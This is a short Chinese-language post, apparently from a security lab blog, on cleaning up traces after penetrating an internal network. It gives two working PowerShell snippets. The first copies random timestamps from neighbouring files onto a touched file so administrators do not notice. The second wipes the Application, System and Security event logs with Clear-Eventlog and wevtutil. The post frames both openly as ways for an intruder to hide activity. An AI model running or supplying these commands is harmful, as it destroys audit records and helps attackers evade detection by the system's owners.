文章来源:Khan安全攻防实验室
痕迹清理
在我们做完一系列的内网渗透操作后,必然会留下一些蛛丝马迹,因此我们需要给自己”擦屁股“。本篇只介绍如何清除系统日志、修改文件时间戳。
痕迹清理
Powershell 修改文件时间戳
有时候我们在登陆目标桌面后,根据需求可能会动用目标主机上的文件或者文件夹,而一些管理员很久都不会登陆一次主机;设想当管理员一上线看到自己的文件夹日期有异常,是否会怀疑?
Functionedit_time($path){$date1=Get-ChildItem|Select LastWriteTime|Get-Random;$date2=Get-ChildItem|Select LastWriteTime|Get-Random;$date3=Get-ChildItem|Select LastWriteTime|Get-Random;$(Get-Item$path).lastaccesstime=$date1.LastWriteTime;$(Get-Item$path).creationtime=$date2.LastWriteTime ;$(Get-Item$path).lastwritetime=$date3.LastWriteTime};edit_time("C:\Users\saulGoodman\Desktop\工具包\pass.txt")
Powershell 清除系统日志
当我们做了一些操作都会记录到时间查看器里,而下面的 Powershell 就可清除相关日志:
PowerShell -Command"& {Clear-Eventlog -Log Application,System,Security}"Get-WinEvent-ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl$_.Logname}
本篇只讲了两个小技巧,在实战中够用一些了,之后有空在发其他技巧。